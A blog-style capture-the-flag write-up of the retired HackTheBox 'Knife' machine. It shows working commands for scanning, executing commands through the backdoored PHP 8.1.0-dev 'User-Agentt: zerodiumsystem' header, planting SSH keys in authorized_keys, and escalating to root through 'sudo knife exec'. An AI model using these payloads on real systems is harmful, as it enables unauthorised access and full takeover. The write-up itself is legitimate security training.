HackTheBox — Knife

Debifrank
7 min readAug 28, 2021

Today, I’m going to go over Knife. Knife was recently retired from HackTheBox, so, there is no issue in spoiling this one. Before I get into it, allow me to get up on to my milk crate and give a small rant. I’ve noticed quite a few folks out there providing write-ups for machines that have not yet been retired. This is against the guidelines given by HackTheBox and I hope the community would discourage this sort of behavior. I strongly believe that there is purpose behind not having the answers provided to you and being forced to struggle a bit or be patient for your solutions. I’m not the type to sit here and tell you to just “Try Harder”, but there are lessons to be learned outside of “what command do I execute to get my loot”. The journey can be as rewarding as, if not more so than, the destination. I’ll hop off my crate now and just get into it.

The difficulty for this was deemed to be easy and covered network service scanning (T1046), software discovery (T1518), supply chain compromise (T1195.001) within the open source PHP project, remote code execution (T1210), compromising a user’s authorized_keys and id_rsa files (T1021.004), and abusing sudo (T1548.003) to gain root privileges.

To start, we are given our target machine address, 10.10.10.242. The first step we are going to take is performing network discovery against the target using nmap.

$ nmap -sC -sV -sT -p- -Pn --open -v -oA Knife.Tcp.All -T5 10.10.10.242

Once the scan is done, we can observe that the target is exposing ports 80(HTTP) and 22 (SSH) to the public. We also can observe that nmap reports the web server as Apache 2.4.41.

Navigating over to the web application running on 80 , we are greeted with a static page. Looking over the source code carefully, you won’t find any links taking you to another page. There are a few Javascript references but looking those resources over also yields very little use. A quick check of /robots.txt also yields no help.

A logical next step would be to start executing a brute force directory enumeration against the web server to see if any hidden files or directories are exposed. For this, we’re going to use feroxbuster. You can find precompiled binaries for your operating system of choice at https://github.com/epi052/feroxbuster/releases. Here we’re using a Debian environment and grab the .deb package.

$ sudo dpkg -i feroxbuster_2.3.2_amd64.debSelecting previously unselected package feroxbuster.
(Reading database ... 261439 files and directories currently installed.)
Preparing to unpack feroxbuster_2.3.2_amd64.deb ...
Unpacking feroxbuster (2.3.2) ...
Setting up feroxbuster (2.3.2) ...
$ feroxbustererror: The following required arguments were not provided:
--url <URL>...
USAGE:
feroxbuster [FLAGS] [OPTIONS] --url <URL>...
For more information try --help

feroxbuster requires a wordlist and a target to proceed. A fantastic resource for wordlists is the SecLists repository (https://github.com/danielmiessler/SecLists). With it cloned down to your system, we can proceed with feroxbuster.

$ sudo git clone https://github.com/danielmiessler/SecLists.git
Cloning into 'SecLists'...
remote: Enumerating objects: 10037, done.
remote: Counting objects: 100% (182/182), done.
remote: Compressing objects: 100% (92/92), done.
Receiving objects: 66% (6692/10037), 350.60 MiB | 1.71 MiB/s
remote: Total 10037 (delta 117), reused 152 (delta 90), pack-reused 9855
Receiving objects: 100% (10037/10037), 780.51 MiB | 1.71 MiB/s, done.
Resolving deltas: 100% (5264/5264), done.
Updating files: 100% (5362/5362), done.
$ feroxbuster -u http://10.10.10.242 -w /opt/git/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -o ./feroxbuster-output-2___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.2
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.242
🚀 Threads │ 50
📖 Wordlist │ /opt/git/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💾 Output File │ ./feroxbuster-output-2
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 9l 28w 277c http://10.10.10.242/server-status
[###>----------------] - 3m 191938/1273818 19m found:1 errors:4
[###>----------------] - 3m 191938/1273818 920/s http://10.10.10.242

Hopefully that will yield results. In the mean time, we should take a closer look at the web application. By checking the HTTP response headers, a new piece of information makes itself known. The web application is utilizing an interesting back-end, PHP/8.1.0-dev. Some light googling will show that this particular version of PHP had a malicious commit made to the code base in March of 2021. This commit contained code that allowed commands sent to the vulnerable server via a “typo-ed” HTTP header, User Agentt: zerodiumsystem(‘’);, to be executed on the back-end. You’re more than welcome to grab some prefabricated exploit off the shelf and hope it works, but we don’t need any of that fancy stuff. We have a web browser with developer tools!

So, open up developer tools (F12) and navigate to the Network tab. Here, we can edit and resend previous requests. So, as a test, we’ll resend the initial GET request but include our new header with the uname command:

User Agentt: zerodiumsystem('uname');

Sending our edited request should get a response back of 200 OK but where is our response? Viewing the raw HTML, you will find the command output just before the <!DOCTYPE html> tag.

We see that we have Linux returned to us, so we know that our command worked! Now, we’ll see who and where we are:

User Agentt: zerodiumsystem('whoami; uname -a');

We observe that we are executing as the user james and are playing in an Ubuntu system. Recalling that SSH is exposed publicly, we can check to see if we can grab the SSH public/private key pair (id_rsa, id_rsa.pub)for james and login directly. First, verify that the contents of id_rsa.pub match the contents of authorized_keys. In my case, they did not. This may be by design or someone didn’t clean up after themselves. I used the PHP exploit and echo to append the public key for james into authorized_keys.

User-Agentt: zerodiumsystem('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7tE+UiQFxsKPMvcYrEmknKJS5WvEubet6M8aVop2chiquvBgMc01DCd2tT37s+tFTp6JcSx0NvskbGycQEYlF1nSpZFBU0vGw+mzBcEC9Ph0Mu/Ft3HEhLSOEHfdzlAVmwWOtJ1zyIZqKD5MtWD8D7l7ZtI1gVXRe4Otk64Wsk+xL2BX7jur8VV9vMbSjgJU3+b4jt7t4VGxv19aizJn2OL1H+0iOy2MNkKsqmPBq2gGikIJAA8iRJ+SdwLt4qsKx2VHJoZR2raGvRpMeCT/Dp2c5unWAuiylJ1jVp5auKq5QH02o1TVnBP2GRv8RJPrsxIjTE1QtrM3TCVmG56PKnB0ethZ5Brkv92Wd2eF/OD3Hlg5gs6WfR1lWNpZqPe6uFgrZS8z+mTKu/E4ND1VJvZ4BvxCqf3k4/J+yVqdatR4qshcLPcyyba7pYWX93dAptL8H9vVaL78mpL5VL+jFz8A5VQL+Itw74GClovzhFVzGCzH0SWloDxF+umYYsEImBnfVC2NKTryh4AF7PLOAQN7tXcspdmEeKOGl1uWCjOVj1zcgAhxn20YzGwFGDJ/PazeCfb1NPXL+jPj6LGWFIg13uvN1k6rwXtrmlWlYkgEYkOMvHTrBCTOsBHrYzow8NBuRV8hhbhntnIQNi3MT19dfTAhBdxaabAyiJ2/BEw== james@localhost" >> ~/.ssh/authorized_keys');

Copying the contents of id_rsa to your local machine allows you to specify the private key file when attempting to connect via SSH. Remember to alter the permissions on the private key before you try to use it:

$ chmod 600 id_rsa.james
$ ssh james@10.10.10.242 -i ./id_rsa.james

Success! Take this opportunity to grab your user flag.

One of the first things I like to do when on a Linux system is to check what, if anything, I can sudo with sudo -l. We see that james has the ability to execute sudo /usr/bin/knife as the root account without providing a password. A little research will show that the knife binary is a ruby script that has a wide range of functionality. One interesting function is the ability to execute other ruby scripts using knife exec. I typically like to create myself a personal test directory ~./.debifrank/ and proceed to create a test script in ruby that creates an empty file in my working directory.

james@knife:~/.debifrank$ ls
test.rb
james@knife:~/.debifrank$ sudo knife exec ~/.debifrank/test.rbjames@knife:~/.debifrank$ ls
test test.rb
james@knife:~/.debifrank$ cat test.rb
value = `touch /home/james/.debifrank/test`
james@knife:~/.debifrank$ ls -alh
total 12K
drwxrwxr-x 2 james james 4.0K Aug 21 02:32 .
drwxr-xr-x 6 james james 4.0K Aug 21 02:29 ..
-rw-r--r-- 1 root root 0 Aug 21 02:32 test
-rw-rw-r-- 1 james james 44 Aug 21 02:32 test.rb

We can see that the test file was created successfully and is owned by the root user. Repeating our abuse of SSH, we can then create a new public/private SSH keypair using ssh-keygen and add the public key contents to the authorized_keys file for the root account.

james@knife:~/.debifrank$ cat test.rb 
value = `echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDtEpzx+6SJIATflDpUJ6Jidtk3pkGKTe6mNTs7CVJfObQE/hTg9mQEri7/HQq50FnhvD1vn42W/i6HBMyUCkw36gpcc9df36au3bz4XkAnD9Flwex4ZKSKmHHBFbCUaYqnAzhNP2MjnDEYK3j6npZGtXxutczncPl6LKk+yIsSjywAYlnD7sqln1D6/Pk9FQUrYaAvpQ7jVUSSZ1Kfg38zDrzH0SKEY4o2qhuAzVn51b/048+u4L1EkrwVw+2ykk5YRJCST7wHe2VsgUmSjnKRb7hAqHqS0tdui3QdCfouN2g/bpcJLtFkz2b65gQICPgHJz+4corc7NaB/rcWLxjLpvyuCAxg8NjJzuCUzTGqc+LQyXYXZxlg6Bpbv7OdY/TGWuhb8r1dtRhPMgIvDLpWZpXXvVbz/9nQ8N7CtaWVQXoZKXQBbLV+7q/kW85xa5JvcR2ZvVbjSeZCCm+QB75K4Pf5qMo+7IEUY/0gdcQHq61isCp+/Yg84lVH/TDJBS8= debifrank@debifrank-personal" >> /root/.ssh/authorized_keys`
james@knife:~/.debifrank$ sudo knife exec ~/.debifrank/test.rb

Now we can login as the root user over SSH and take our root.txt flag.

If you were wondering about the brute force directory enumeration via feroxbuster, it did not return anything. This is good news considering a quick check of the /var/www/html directory results in the single index.php file we already inspected.

Overall, I thought this was a great beginner machine. It’s a nice opportunity to observe the impacts of open source contributions if not carefully inspected.

If you found this write-up helpful, entertaining or educational please take a moment and check out my other write-ups. I also maintain a simple website at https://debifrank.com that has information on tools, cheat sheets, and some of my work. Also, feel free to reach out via Twitter ( @debifrank14 ) if you have any comments or questions. Thanks and happy hacking!

--

--

Debifrank

Information Security Professional, OSCP CRTP CARTP